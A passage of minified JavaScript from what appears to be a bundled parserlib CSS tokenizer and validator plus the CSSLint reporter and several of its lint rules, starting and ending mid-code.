this._i>0?this._parts[--this._i]:null},PropertyValueIterator.prototype.restore=function(){this._marks.length&&(this._i=this._marks.pop())},PropertyValuePart.prototype=new SyntaxUnit,PropertyValuePart.prototype.constructor=PropertyValuePart,PropertyValuePart.fromToken=function(e){return new PropertyValuePart(e.value,e.startLine,e.startCol)};var Pseudos={\":first-letter\":1,\":first-line\":1,\":before\":1,\":after\":1};Pseudos.ELEMENT=1,Pseudos.CLASS=2,Pseudos.isElement=function(e){return e.indexOf(\"::\")===0||Pseudos[e.toLowerCase()]==Pseudos.ELEMENT},Selector.prototype=new SyntaxUnit,Selector.prototype.constructor=Selector,SelectorPart.prototype=new SyntaxUnit,SelectorPart.prototype.constructor=SelectorPart,SelectorSubPart.prototype=new SyntaxUnit,SelectorSubPart.prototype.constructor=SelectorSubPart,Specificity.prototype={constructor:Specificity,compare:function(e){var t=[\"a\",\"b\",\"c\",\"d\"],n,r;for(n=0,r=t.length;n<r;n++){if(this[t[n]]<e[t[n]])return-1;if(this[t[n]]>e[t[n]])return 1}return 0},valueOf:function(){return this.a*1e3+this.b*100+this.c*10+this.d},toString:function(){return this.a+\",\"+this.b+\",\"+this.c+\",\"+this.d}},Specificity.calculate=function(e){function u(e){var t,n,r,a,f=e.elementName?e.elementName.text:\"\",l;f&&f.charAt(f.length-1)!=\"*\"&&o++;for(t=0,r=e.modifiers.length;t<r;t++){l=e.modifiers[t];switch(l.type){case\"class\":case\"attribute\":s++;break;case\"id\":i++;break;case\"pseudo\":Pseudos.isElement(l.text)?o++:s++;break;case\"not\":for(n=0,a=l.args.length;n<a;n++)u(l.args[n])}}}var t,n,r,i=0,s=0,o=0;for(t=0,n=e.parts.length;t<n;t++)r=e.parts[t],r instanceof SelectorPart&&u(r);return new Specificity(0,i,s,o)};var h=/^[0-9a-fA-F]$/,nonascii=/^[\\u0080-\\uFFFF]$/,nl=/\\n|\\r\\n|\\r|\\f/;TokenStream.prototype=mix(new TokenStreamBase,{_getToken:function(e){var t,n=this._reader,r=null,i=n.getLine(),s=n.getCol();t=n.read();while(t){switch(t){case\"/\":n.peek()==\"*\"?r=this.commentToken(t,i,s):r=this.charToken(t,i,s);break;case\"|\":case\"~\":case\"^\":case\"$\":case\"*\":n.peek()==\"=\"?r=this.comparisonToken(t,i,s):r=this.charToken(t,i,s);break;case'\"':case\"'\":r=this.stringToken(t,i,s);break;case\"#\":isNameChar(n.peek())?r=this.hashToken(t,i,s):r=this.charToken(t,i,s);break;case\".\":isDigit(n.peek())?r=this.numberToken(t,i,s):r=this.charToken(t,i,s);break;case\"-\":n.peek()==\"-\"?r=this.htmlCommentEndToken(t,i,s):isNameStart(n.peek())?r=this.identOrFunctionToken(t,i,s):r=this.charToken(t,i,s);break;case\"!\":r=this.importantToken(t,i,s);break;case\"@\":r=this.atRuleToken(t,i,s);break;case\":\":r=this.notToken(t,i,s);break;case\"<\":r=this.htmlCommentStartToken(t,i,s);break;case\"U\":case\"u\":if(n.peek()==\"+\"){r=this.unicodeRangeToken(t,i,s);break};default:isDigit(t)?r=this.numberToken(t,i,s):isWhitespace(t)?r=this.whitespaceToken(t,i,s):isIdentStart(t)?r=this.identOrFunctionToken(t,i,s):r=this.charToken(t,i,s)}break}return!r&&t===null&&(r=this.createToken(Tokens.EOF,null,i,s)),r},createToken:function(e,t,n,r,i){var s=this._reader;return i=i||{},{value:t,type:e,channel:i.channel,endChar:i.endChar,hide:i.hide||!1,startLine:n,startCol:r,endLine:s.getLine(),endCol:s.getCol()}},atRuleToken:function(e,t,n){var r=e,i=this._reader,s=Tokens.CHAR,o=!1,u,a;i.mark(),u=this.readName(),r=e+u,s=Tokens.type(r.toLowerCase());if(s==Tokens.CHAR||s==Tokens.UNKNOWN)r.length>1?s=Tokens.UNKNOWN_SYM:(s=Tokens.CHAR,r=e,i.reset());return this.createToken(s,r,t,n)},charToken:function(e,t,n){var r=Tokens.type(e),i={};return r==-1?r=Tokens.CHAR:i.endChar=Tokens[r].endChar,this.createToken(r,e,t,n,i)},commentToken:function(e,t,n){var r=this._reader,i=this.readComment(e);return this.createToken(Tokens.COMMENT,i,t,n)},comparisonToken:function(e,t,n){var r=this._reader,i=e+r.read(),s=Tokens.type(i)||Tokens.CHAR;return this.createToken(s,i,t,n)},hashToken:function(e,t,n){var r=this._reader,i=this.readName(e);return this.createToken(Tokens.HASH,i,t,n)},htmlCommentStartToken:function(e,t,n){var r=this._reader,i=e;return r.mark(),i+=r.readCount(3),i==\"<!--\"?this.createToken(Tokens.CDO,i,t,n):(r.reset(),this.charToken(e,t,n))},htmlCommentEndToken:function(e,t,n){var r=this._reader,i=e;return r.mark(),i+=r.readCount(2),i==\"-->\"?this.createToken(Tokens.CDC,i,t,n):(r.reset(),this.charToken(e,t,n))},identOrFunctionToken:function(e,t,n){var r=this._reader,i=this.readName(e),s=Tokens.IDENT;return r.peek()==\"(\"?(i+=r.read(),i.toLowerCase()==\"url(\"?(s=Tokens.URI,i=this.readURI(i),i.toLowerCase()==\"url(\"&&(s=Tokens.FUNCTION)):s=Tokens.FUNCTION):r.peek()==\":\"&&i.toLowerCase()==\"progid\"&&(i+=r.readTo(\"(\"),s=Tokens.IE_FUNCTION),this.createToken(s,i,t,n)},importantToken:function(e,t,n){var r=this._reader,i=e,s=Tokens.CHAR,o,u;r.mark(),u=r.read();while(u){if(u==\"/\"){if(r.peek()!=\"*\")break;o=this.readComment(u);if(o===\"\")break}else{if(!isWhitespace(u)){if(/i/i.test(u)){o=r.readCount(8),/mportant/i.test(o)&&(i+=u+o,s=Tokens.IMPORTANT_SYM);break}break}i+=u+this.readWhitespace()}u=r.read()}return s==Tokens.CHAR?(r.reset(),this.charToken(e,t,n)):this.createToken(s,i,t,n)},notToken:function(e,t,n){var r=this._reader,i=e;return r.mark(),i+=r.readCount(4),i.toLowerCase()==\":not(\"?this.createToken(Tokens.NOT,i,t,n):(r.reset(),this.charToken(e,t,n))},numberToken:function(e,t,n){var r=this._reader,i=this.readNumber(e),s,o=Tokens.NUMBER,u=r.peek();return isIdentStart(u)?(s=this.readName(r.read()),i+=s,/^em$|^ex$|^px$|^gd$|^rem$|^vw$|^vh$|^vmax$|^vmin$|^ch$|^cm$|^mm$|^in$|^pt$|^pc$/i.test(s)?o=Tokens.LENGTH:/^deg|^rad$|^grad$/i.test(s)?o=Tokens.ANGLE:/^ms$|^s$/i.test(s)?o=Tokens.TIME:/^hz$|^khz$/i.test(s)?o=Tokens.FREQ:/^dpi$|^dpcm$/i.test(s)?o=Tokens.RESOLUTION:o=Tokens.DIMENSION):u==\"%\"&&(i+=r.read(),o=Tokens.PERCENTAGE),this.createToken(o,i,t,n)},stringToken:function(e,t,n){var r=e,i=e,s=this._reader,o=e,u=Tokens.STRING,a=s.read();while(a){i+=a;if(a==r&&o!=\"\\\\\")break;if(isNewLine(s.peek())&&a!=\"\\\\\"){u=Tokens.INVALID;break}o=a,a=s.read()}return a===null&&(u=Tokens.INVALID),this.createToken(u,i,t,n)},unicodeRangeToken:function(e,t,n){var r=this._reader,i=e,s,o=Tokens.CHAR;return r.peek()==\"+\"&&(r.mark(),i+=r.read(),i+=this.readUnicodeRangePart(!0),i.length==2?r.reset():(o=Tokens.UNICODE_RANGE,i.indexOf(\"?\")==-1&&r.peek()==\"-\"&&(r.mark(),s=r.read(),s+=this.readUnicodeRangePart(!1),s.length==1?r.reset():i+=s))),this.createToken(o,i,t,n)},whitespaceToken:function(e,t,n){var r=this._reader,i=e+this.readWhitespace();return this.createToken(Tokens.S,i,t,n)},readUnicodeRangePart:function(e){var t=this._reader,n=\"\",r=t.peek();while(isHexDigit(r)&&n.length<6)t.read(),n+=r,r=t.peek();if(e)while(r==\"?\"&&n.length<6)t.read(),n+=r,r=t.peek();return n},readWhitespace:function(){var e=this._reader,t=\"\",n=e.peek();while(isWhitespace(n))e.read(),t+=n,n=e.peek();return t},readNumber:function(e){var t=this._reader,n=e,r=e==\".\",i=t.peek();while(i){if(isDigit(i))n+=t.read();else{if(i!=\".\")break;if(r)break;r=!0,n+=t.read()}i=t.peek()}return n},readString:function(){var e=this._reader,t=e.read(),n=t,r=t,i=e.peek();while(i){i=e.read(),n+=i;if(i==t&&r!=\"\\\\\")break;if(isNewLine(e.peek())&&i!=\"\\\\\"){n=\"\";break}r=i,i=e.peek()}return i===null&&(n=\"\"),n},readURI:function(e){var t=this._reader,n=e,r=\"\",i=t.peek();t.mark();while(i&&isWhitespace(i))t.read(),i=t.peek();i==\"'\"||i=='\"'?r=this.readString():r=this.readURL(),i=t.peek();while(i&&isWhitespace(i))t.read(),i=t.peek();return r===\"\"||i!=\")\"?(n=e,t.reset()):n+=r+t.read(),n},readURL:function(){var e=this._reader,t=\"\",n=e.peek();while(/^[!#$%&\\\\*-~]$/.test(n))t+=e.read(),n=e.peek();return t},readName:function(e){var t=this._reader,n=e||\"\",r=t.peek();for(;;)if(r==\"\\\\\")n+=this.readEscape(t.read()),r=t.peek();else{if(!r||!isNameChar(r))break;n+=t.read(),r=t.peek()}return n},readEscape:function(e){var t=this._reader,n=e||\"\",r=0,i=t.peek();if(isHexDigit(i))do n+=t.read(),i=t.peek();while(i&&isHexDigit(i)&&++r<6);return n.length==3&&/\\s/.test(i)||n.length==7||n.length==1?t.read():i=\"\",n+i},readComment:function(e){var t=this._reader,n=e||\"\",r=t.read();if(r==\"*\"){while(r){n+=r;if(n.length>2&&r==\"*\"&&t.peek()==\"/\"){n+=t.read();break}r=t.read()}return n}return\"\"}});var Tokens=[{name:\"CDO\"},{name:\"CDC\"},{name:\"S\",whitespace:!0},{name:\"COMMENT\",comment:!0,hide:!0,channel:\"comment\"},{name:\"INCLUDES\",text:\"~=\"},{name:\"DASHMATCH\",text:\"|=\"},{name:\"PREFIXMATCH\",text:\"^=\"},{name:\"SUFFIXMATCH\",text:\"$=\"},{name:\"SUBSTRINGMATCH\",text:\"*=\"},{name:\"STRING\"},{name:\"IDENT\"},{name:\"HASH\"},{name:\"IMPORT_SYM\",text:\"@import\"},{name:\"PAGE_SYM\",text:\"@page\"},{name:\"MEDIA_SYM\",text:\"@media\"},{name:\"FONT_FACE_SYM\",text:\"@font-face\"},{name:\"CHARSET_SYM\",text:\"@charset\"},{name:\"NAMESPACE_SYM\",text:\"@namespace\"},{name:\"VIEWPORT_SYM\",text:[\"@viewport\",\"@-ms-viewport\"]},{name:\"UNKNOWN_SYM\"},{name:\"KEYFRAMES_SYM\",text:[\"@keyframes\",\"@-webkit-keyframes\",\"@-moz-keyframes\",\"@-o-keyframes\"]},{name:\"IMPORTANT_SYM\"},{name:\"LENGTH\"},{name:\"ANGLE\"},{name:\"TIME\"},{name:\"FREQ\"},{name:\"DIMENSION\"},{name:\"PERCENTAGE\"},{name:\"NUMBER\"},{name:\"URI\"},{name:\"FUNCTION\"},{name:\"UNICODE_RANGE\"},{name:\"INVALID\"},{name:\"PLUS\",text:\"+\"},{name:\"GREATER\",text:\">\"},{name:\"COMMA\",text:\",\"},{name:\"TILDE\",text:\"~\"},{name:\"NOT\"},{name:\"TOPLEFTCORNER_SYM\",text:\"@top-left-corner\"},{name:\"TOPLEFT_SYM\",text:\"@top-left\"},{name:\"TOPCENTER_SYM\",text:\"@top-center\"},{name:\"TOPRIGHT_SYM\",text:\"@top-right\"},{name:\"TOPRIGHTCORNER_SYM\",text:\"@top-right-corner\"},{name:\"BOTTOMLEFTCORNER_SYM\",text:\"@bottom-left-corner\"},{name:\"BOTTOMLEFT_SYM\",text:\"@bottom-left\"},{name:\"BOTTOMCENTER_SYM\",text:\"@bottom-center\"},{name:\"BOTTOMRIGHT_SYM\",text:\"@bottom-right\"},{name:\"BOTTOMRIGHTCORNER_SYM\",text:\"@bottom-right-corner\"},{name:\"LEFTTOP_SYM\",text:\"@left-top\"},{name:\"LEFTMIDDLE_SYM\",text:\"@left-middle\"},{name:\"LEFTBOTTOM_SYM\",text:\"@left-bottom\"},{name:\"RIGHTTOP_SYM\",text:\"@right-top\"},{name:\"RIGHTMIDDLE_SYM\",text:\"@right-middle\"},{name:\"RIGHTBOTTOM_SYM\",text:\"@right-bottom\"},{name:\"RESOLUTION\",state:\"media\"},{name:\"IE_FUNCTION\"},{name:\"CHAR\"},{name:\"PIPE\",text:\"|\"},{name:\"SLASH\",text:\"/\"},{name:\"MINUS\",text:\"-\"},{name:\"STAR\",text:\"*\"},{name:\"LBRACE\",endChar:\"}\",text:\"{\"},{name:\"RBRACE\",text:\"}\"},{name:\"LBRACKET\",endChar:\"]\",text:\"[\"},{name:\"RBRACKET\",text:\"]\"},{name:\"EQUALS\",text:\"=\"},{name:\"COLON\",text:\":\"},{name:\"SEMICOLON\",text:\";\"},{name:\"LPAREN\",endChar:\")\",text:\"(\"},{name:\"RPAREN\",text:\")\"},{name:\"DOT\",text:\".\"}];(function(){var e=[],t={};Tokens.UNKNOWN=-1,Tokens.unshift({name:\"EOF\"});for(var n=0,r=Tokens.length;n<r;n++){e.push(Tokens[n].name),Tokens[Tokens[n].name]=n;if(Tokens[n].text)if(Tokens[n].text instanceof Array)for(var i=0;i<Tokens[n].text.length;i++)t[Tokens[n].text[i]]=n;else t[Tokens[n].text]=n}Tokens.name=function(t){return e[t]},Tokens.type=function(e){return t[e]||-1}})();var Validation={validate:function(e,t){var n=e.toString().toLowerCase(),r=t.parts,i=new PropertyValueIterator(t),s=Properties[n],o,u,a,f,l,c,h,p,d,v,m;if(!s){if(n.indexOf(\"-\")!==0)throw new ValidationError(\"Unknown property '\"+e+\"'.\",e.line,e.col)}else typeof s!=\"number\"&&(typeof s==\"string\"?s.indexOf(\"||\")>-1?this.groupProperty(s,i):this.singleProperty(s,i,1):s.multi?this.multiProperty(s.multi,i,s.comma,s.max||Infinity):typeof s==\"function\"&&s(i))},singleProperty:function(e,t,n,r){var i=!1,s=t.value,o=0,u;while(t.hasNext()&&o<n){i=ValidationTypes.isAny(t,e);if(!i)break;o++}if(!i)throw t.hasNext()&&!t.isFirst()?(u=t.peek(),new ValidationError(\"Expected end of value but found '\"+u+\"'.\",u.line,u.col)):new ValidationError(\"Expected (\"+e+\") but found '\"+s+\"'.\",s.line,s.col);if(t.hasNext())throw u=t.next(),new ValidationError(\"Expected end of value but found '\"+u+\"'.\",u.line,u.col)},multiProperty:function(e,t,n,r){var i=!1,s=t.value,o=0,u=!1,a;while(t.hasNext()&&!i&&o<r){if(!ValidationTypes.isAny(t,e))break;o++;if(!t.hasNext())i=!0;else if(n){if(t.peek()!=\",\")break;a=t.next()}}if(!i)throw t.hasNext()&&!t.isFirst()?(a=t.peek(),new ValidationError(\"Expected end of value but found '\"+a+\"'.\",a.line,a.col)):(a=t.previous(),n&&a==\",\"?new ValidationError(\"Expected end of value but found '\"+a+\"'.\",a.line,a.col):new ValidationError(\"Expected (\"+e+\") but found '\"+s+\"'.\",s.line,s.col));if(t.hasNext())throw a=t.next(),new ValidationError(\"Expected end of value but found '\"+a+\"'.\",a.line,a.col)},groupProperty:function(e,t,n){var r=!1,i=t.value,s=e.split(\"||\").length,o={count:0},u=!1,a,f;while(t.hasNext()&&!r){a=ValidationTypes.isAnyOfGroup(t,e);if(!a)break;if(o[a])break;o[a]=1,o.count++,u=!0;if(o.count==s||!t.hasNext())r=!0}if(!r)throw u&&t.hasNext()?(f=t.peek(),new ValidationError(\"Expected end of value but found '\"+f+\"'.\",f.line,f.col)):new ValidationError(\"Expected (\"+e+\") but found '\"+i+\"'.\",i.line,i.col);if(t.hasNext())throw f=t.next(),new ValidationError(\"Expected end of value but found '\"+f+\"'.\",f.line,f.col)}};ValidationError.prototype=new Error;var ValidationTypes={isLiteral:function(e,t){var n=e.text.toString().toLowerCase(),r=t.split(\" | \"),i,s,o=!1;for(i=0,s=r.length;i<s&&!o;i++)n==r[i].toLowerCase()&&(o=!0);return o},isSimple:function(e){return!!this.simple[e]},isComplex:function(e){return!!this.complex[e]},isAny:function(e,t){var n=t.split(\" | \"),r,i,s=!1;for(r=0,i=n.length;r<i&&!s&&e.hasNext();r++)s=this.isType(e,n[r]);return s},isAnyOfGroup:function(e,t){var n=t.split(\" || \"),r,i,s=!1;for(r=0,i=n.length;r<i&&!s;r++)s=this.isType(e,n[r]);return s?n[r-1]:!1},isType:function(e,t){var n=e.peek(),r=!1;return t.charAt(0)!=\"<\"?(r=this.isLiteral(n,t),r&&e.next()):this.simple[t]?(r=this.simple[t](n),r&&e.next()):r=this.complex[t](e),r},simple:{\"<absolute-size>\":function(e){return ValidationTypes.isLiteral(e,\"xx-small | x-small | small | medium | large | x-large | xx-large\")},\"<attachment>\":function(e){return ValidationTypes.isLiteral(e,\"scroll | fixed | local\")},\"<attr>\":function(e){return e.type==\"function\"&&e.name==\"attr\"},\"<bg-image>\":function(e){return this[\"<image>\"](e)||this[\"<gradient>\"](e)||e==\"none\"},\"<gradient>\":function(e){return e.type==\"function\"&&/^(?:\\-(?:ms|moz|o|webkit)\\-)?(?:repeating\\-)?(?:radial\\-|linear\\-)?gradient/i.test(e)},\"<box>\":function(e){return ValidationTypes.isLiteral(e,\"padding-box | border-box | content-box\")},\"<content>\":function(e){return e.type==\"function\"&&e.name==\"content\"},\"<relative-size>\":function(e){return ValidationTypes.isLiteral(e,\"smaller | larger\")},\"<ident>\":function(e){return e.type==\"identifier\"},\"<length>\":function(e){return e.type==\"function\"&&/^(?:\\-(?:ms|moz|o|webkit)\\-)?calc/i.test(e)?!0:e.type==\"length\"||e.type==\"number\"||e.type==\"integer\"||e==\"0\"},\"<color>\":function(e){return e.type==\"color\"||e==\"transparent\"},\"<number>\":function(e){return e.type==\"number\"||this[\"<integer>\"](e)},\"<integer>\":function(e){return e.type==\"integer\"},\"<line>\":function(e){return e.type==\"integer\"},\"<angle>\":function(e){return e.type==\"angle\"},\"<uri>\":function(e){return e.type==\"uri\"},\"<image>\":function(e){return this[\"<uri>\"](e)},\"<percentage>\":function(e){return e.type==\"percentage\"||e==\"0\"},\"<border-width>\":function(e){return this[\"<length>\"](e)||ValidationTypes.isLiteral(e,\"thin | medium | thick\")},\"<border-style>\":function(e){return ValidationTypes.isLiteral(e,\"none | hidden | dotted | dashed | solid | double | groove | ridge | inset | outset\")},\"<content-sizing>\":function(e){return ValidationTypes.isLiteral(e,\"fill-available | -moz-available | -webkit-fill-available | max-content | -moz-max-content | -webkit-max-content | min-content | -moz-min-content | -webkit-min-content | fit-content | -moz-fit-content | -webkit-fit-content\")},\"<margin-width>\":function(e){return this[\"<length>\"](e)||this[\"<percentage>\"](e)||ValidationTypes.isLiteral(e,\"auto\")},\"<padding-width>\":function(e){return this[\"<length>\"](e)||this[\"<percentage>\"](e)},\"<shape>\":function(e){return e.type==\"function\"&&(e.name==\"rect\"||e.name==\"inset-rect\")},\"<time>\":function(e){return e.type==\"time\"},\"<flex-grow>\":function(e){return this[\"<number>\"](e)},\"<flex-shrink>\":function(e){return this[\"<number>\"](e)},\"<width>\":function(e){return this[\"<margin-width>\"](e)},\"<flex-basis>\":function(e){return this[\"<width>\"](e)},\"<flex-direction>\":function(e){return ValidationTypes.isLiteral(e,\"row | row-reverse | column | column-reverse\")},\"<flex-wrap>\":function(e){return ValidationTypes.isLiteral(e,\"nowrap | wrap | wrap-reverse\")}},complex:{\"<bg-position>\":function(e){var t=this,n=!1,r=\"<percentage> | <length>\",i=\"left | right\",s=\"top | bottom\",o=0,u=function(){return e.hasNext()&&e.peek()!=\",\"};while(e.peek(o)&&e.peek(o)!=\",\")o++;return o<3?ValidationTypes.isAny(e,i+\" | center | \"+r)?(n=!0,ValidationTypes.isAny(e,s+\" | center | \"+r)):ValidationTypes.isAny(e,s)&&(n=!0,ValidationTypes.isAny(e,i+\" | center\")):ValidationTypes.isAny(e,i)?ValidationTypes.isAny(e,s)?(n=!0,ValidationTypes.isAny(e,r)):ValidationTypes.isAny(e,r)&&(ValidationTypes.isAny(e,s)?(n=!0,ValidationTypes.isAny(e,r)):ValidationTypes.isAny(e,\"center\")&&(n=!0)):ValidationTypes.isAny(e,s)?ValidationTypes.isAny(e,i)?(n=!0,ValidationTypes.isAny(e,r)):ValidationTypes.isAny(e,r)&&(ValidationTypes.isAny(e,i)?(n=!0,ValidationTypes.isAny(e,r)):ValidationTypes.isAny(e,\"center\")&&(n=!0)):ValidationTypes.isAny(e,\"center\")&&ValidationTypes.isAny(e,i+\" | \"+s)&&(n=!0,ValidationTypes.isAny(e,r)),n},\"<bg-size>\":function(e){var t=this,n=!1,r=\"<percentage> | <length> | auto\",i,s,o;return ValidationTypes.isAny(e,\"cover | contain\")?n=!0:ValidationTypes.isAny(e,r)&&(n=!0,ValidationTypes.isAny(e,r)),n},\"<repeat-style>\":function(e){var t=!1,n=\"repeat | space | round | no-repeat\",r;return e.hasNext()&&(r=e.next(),ValidationTypes.isLiteral(r,\"repeat-x | repeat-y\")?t=!0:ValidationTypes.isLiteral(r,n)&&(t=!0,e.hasNext()&&ValidationTypes.isLiteral(e.peek(),n)&&e.next())),t},\"<shadow>\":function(e){var t=!1,n=0,r=!1,i=!1,s;if(e.hasNext()){ValidationTypes.isAny(e,\"inset\")&&(r=!0),ValidationTypes.isAny(e,\"<color>\")&&(i=!0);while(ValidationTypes.isAny(e,\"<length>\")&&n<4)n++;e.hasNext()&&(i||ValidationTypes.isAny(e,\"<color>\"),r||ValidationTypes.isAny(e,\"inset\")),t=n>=2&&n<=4}return t},\"<x-one-radius>\":function(e){var t=!1,n=\"<length> | <percentage> | inherit\";return ValidationTypes.isAny(e,n)&&(t=!0,ValidationTypes.isAny(e,n)),t},\"<flex>\":function(e){var t,n=!1;ValidationTypes.isAny(e,\"none | inherit\")?n=!0:ValidationTypes.isType(e,\"<flex-grow>\")?e.peek()?ValidationTypes.isType(e,\"<flex-shrink>\")?e.peek()?n=ValidationTypes.isType(e,\"<flex-basis>\"):n=!0:ValidationTypes.isType(e,\"<flex-basis>\")&&(n=e.peek()===null):n=!0:ValidationTypes.isType(e,\"<flex-basis>\")&&(n=!0);if(!n)throw t=e.peek(),new ValidationError(\"Expected (none | [ <flex-grow> <flex-shrink>? || <flex-basis> ]) but found '\"+e.value.text+\"'.\",t.line,t.col);return n}}};parserlib.css={Colors:Colors,Combinator:Combinator,Parser:Parser,PropertyName:PropertyName,PropertyValue:PropertyValue,PropertyValuePart:PropertyValuePart,MediaFeature:MediaFeature,MediaQuery:MediaQuery,Selector:Selector,SelectorPart:SelectorPart,SelectorSubPart:SelectorSubPart,Specificity:Specificity,TokenStream:TokenStream,Tokens:Tokens,ValidationError:ValidationError}}(),function(){for(var e in parserlib)exports[e]=parserlib[e]}();var util={isArray:function(e){return Array.isArray(e)||typeof e==\"object\"&&objectToString(e)===\"[object Array]\"},isDate:function(e){return typeof e==\"object\"&&objectToString(e)===\"[object Date]\"},isRegExp:function(e){return typeof e==\"object\"&&objectToString(e)===\"[object RegExp]\"},getRegExpFlags:function(e){var t=\"\";return e.global&&(t+=\"g\"),e.ignoreCase&&(t+=\"i\"),e.multiline&&(t+=\"m\"),t}};typeof module==\"object\"&&(module.exports=clone),clone.clonePrototype=function(e){if(e===null)return null;var t=function(){};return t.prototype=e,new t};var CSSLint=function(){function i(e,t){var r,i=e&&e.match(n),s=i&&i[1];return s&&(r={\"true\":2,\"\":1,\"false\":0,2:2,1:1,0:0},s.toLowerCase().split(\",\").forEach(function(e){var n=e.split(\":\"),i=n[0]||\"\",s=n[1]||\"\";t[i.trim()]=r[s.trim()]})),t}var e=[],t=[],n=/\\/\\*csslint([^\\*]*)\\*\\//,r=new parserlib.util.EventTarget;return r.version=\"@VERSION@\",r.addRule=function(t){e.push(t),e[t.id]=t},r.clearRules=function(){e=[]},r.getRules=function(){return[].concat(e).sort(function(e,t){return e.id>t.id?1:0})},r.getRuleset=function(){var t={},n=0,r=e.length;while(n<r)t[e[n++].id]=1;return t},r.addFormatter=function(e){t[e.id]=e},r.getFormatter=function(e){return t[e]},r.format=function(e,t,n,r){var i=this.getFormatter(n),s=null;return i&&(s=i.startFormat(),s+=i.formatResults(e,t,r||{}),s+=i.endFormat()),s},r.hasFormat=function(e){return t.hasOwnProperty(e)},r.verify=function(t,r){var s=0,o,u,a,f=new parserlib.css.Parser({starHack:!0,ieFilters:!0,underscoreHack:!0,strict:!1});u=t.replace(/\\n\\r?/g,\"$split$\").split(\"$split$\"),r||(r=this.getRuleset()),n.test(t)&&(r=clone(r),r=i(t,r)),o=new Reporter(u,r),r.errors=2;for(s in r)r.hasOwnProperty(s)&&r[s]&&e[s]&&e[s].init(f,o);try{f.parse(t)}catch(l){o.error(\"Fatal error, cannot continue: \"+l.message,l.line,l.col,{})}return a={messages:o.messages,stats:o.stats,ruleset:o.ruleset},a.messages.sort(function(e,t){return e.rollup&&!t.rollup?1:!e.rollup&&t.rollup?-1:e.line-t.line}),a},r}();Reporter.prototype={constructor:Reporter,error:function(e,t,n,r){this.messages.push({type:\"error\",line:t,col:n,message:e,evidence:this.lines[t-1],rule:r||{}})},warn:function(e,t,n,r){this.report(e,t,n,r)},report:function(e,t,n,r){this.messages.push({type:this.ruleset[r.id]===2?\"error\":\"warning\",line:t,col:n,message:e,evidence:this.lines[t-1],rule:r})},info:function(e,t,n,r){this.messages.push({type:\"info\",line:t,col:n,message:e,evidence:this.lines[t-1],rule:r})},rollupError:function(e,t){this.messages.push({type:\"error\",rollup:!0,message:e,rule:t})},rollupWarn:function(e,t){this.messages.push({type:\"warning\",rollup:!0,message:e,rule:t})},stat:function(e,t){this.stats[e]=t}},CSSLint._Reporter=Reporter,CSSLint.Util={mix:function(e,t){var n;for(n in t)t.hasOwnProperty(n)&&(e[n]=t[n]);return n},indexOf:function(e,t){if(e.indexOf)return e.indexOf(t);for(var n=0,r=e.length;n<r;n++)if(e[n]===t)return n;return-1},forEach:function(e,t){if(e.forEach)return e.forEach(t);for(var n=0,r=e.length;n<r;n++)t(e[n],n,e)}},CSSLint.addRule({id:\"adjoining-classes\",name:\"Disallow adjoining classes\",desc:\"Don't use adjoining classes.\",browsers:\"IE6\",init:function(e,t){var n=this;e.addListener(\"startrule\",function(r){var i=r.selectors,s,o,u,a,f,l,c;for(f=0;f<i.length;f++){s=i[f];for(l=0;l<s.parts.length;l++){o=s.parts[l];if(o.type===e.SELECTOR_PART_TYPE){a=0;for(c=0;c<o.modifiers.length;c++)u=o.modifiers[c],u.type===\"class\"&&a++,a>1&&t.report(\"Don't use adjoining classes.\",o.line,o.col,n)}}}})}}),CSSLint.addRule({id:\"box-model\",name:\"Beware of broken box size\",desc:\"Don't use width or height when using padding or border.\",browsers:\"All\",init:function(e,t){function u(){s={},o=!1}function a(){var e,u;if(!o){if(s.height)for(e in i)i.hasOwnProperty(e)&&s[e]&&(u=s[e].value,(e!==\"padding\"||u.parts.length!==2||u.parts[0].value!==0)&&t.report(\"Using height with \"+e+\" can sometimes make elements larger than you expect.\",s[e].line,s[e].col,n));if(s.width)for(e in r)r.hasOwnProperty(e)&&s[e]&&(u=s[e].value,(e!==\"padding\"||u.parts.length!==2||u.parts[1].value!==0)&&t.report(\"Using width with \"+e+\" can sometimes make elements larger than you expect.\",s[e].line,s[e].col,n))}}var n=this,r={border:1,\"border-left\":1,\"border-right\":1,padding:1,\"padding-left\":1,\"padding-right\":1},i={border:1,\"border-bottom\":1,\"border-top\":1,padding:1,\"padding-bottom\":1,\"padding-top\":1},s,o=!1;e.addListener(\"startrule\",u),e.addListener(\"startfontface\",u),e.addListener(\"startpage\",u),e.addListener(\"startpagemargin\",u),e.addListener(\"startkeyframerule\",u),e.addListener(\"property\",function(e){var t=e.property.text.toLowerCase();i[t]||r[t]?!/^0\\S*$/.test(e.value)&&(t!==\"border\"||e.value.toString()!==\"none\")&&(s[t]={line:e.property.line,col:e.property.col,value:e.value}):/^(width|height)/i.test(t)&&/^(length|percentage)/.test(e.value.parts[0].type)?s[t]=1:t===\"box-sizing\"&&(o=!0)}),e.addListener(\"endrule\",a),e.addListener(\"endfontface\",a),e.addListener(\"endpage\",a),e.addListener(\"endpagemargin\",a),e.addListener(\"endkeyframerule\",a)}}),CSSLint.addRule({id:\"box-sizing\",name:\"Disallow use of box-sizing\",desc:\"The box-sizing properties isn't supported in IE6 and IE7.\",browsers:\"IE6, IE7\",tags:[\"Compatibility\"],init:function(e,t){var n=this;e.addListener(\"property\",function(e){var r=e.property.text.toLowerCase();r===\"box-sizing\"&&t.report(\"The box-sizing property isn't supported in IE6 and IE7.\",e.line,e.col,n)})}}),CSSLint.addRule({id:\"bulletproof-font-face\",name:\"Use the bulletproof @font-face syntax\",desc:\"Use the bulletproof @font-face syntax to avoid 404's in old IE (http://www.fontspring.com/blog/the-new-bulletproof-font-face-syntax).\",browsers:\"All\",init:function(e,t){var n=this,r=!1,i=!0,s=!1,o,u;e.addListener(\"startfontface\",function(){r=!0}),e.addListener(\"property\",function(e){if(!r)return;var t=e.property.toString().toLowerCase(),n=e.value.toString();o=e.line,u=e.col;if(t===\"src\"){var a=/^\\s?url\\(['\"].+\\.eot\\?.*['\"]\\)\\s*format\\(['\"]embedded-opentype['\"]\\).*$/i;!n.match(a)&&i?(s=!0,i=!1):n.match(a)&&!i&&(s=!1)}}),e.addListener(\"endfontface\",function(){r=!1,s&&t.report(\"@font-face declaration doesn't follow the fontspring bulletproof syntax.\",o,u,n)})}}),CSSLint.addRule({id:\"compatible-vendor-prefixes\",name:\"Require compatible vendor prefixes\",desc:\"Include all compatible vendor prefixes to reach a wider range of users.\",browsers:\"All\",init:function(e,t){var n=this,r,i,s,o,u,a,f,l=!1,c=Array.prototype.push,h=[];r={animation:\"webkit moz\",\"animation-delay\":\"webkit moz\",\"animation-direction\":\"webkit moz\",\"animation-duration\":\"webkit moz\",\"animation-fill-mode\":\"webkit 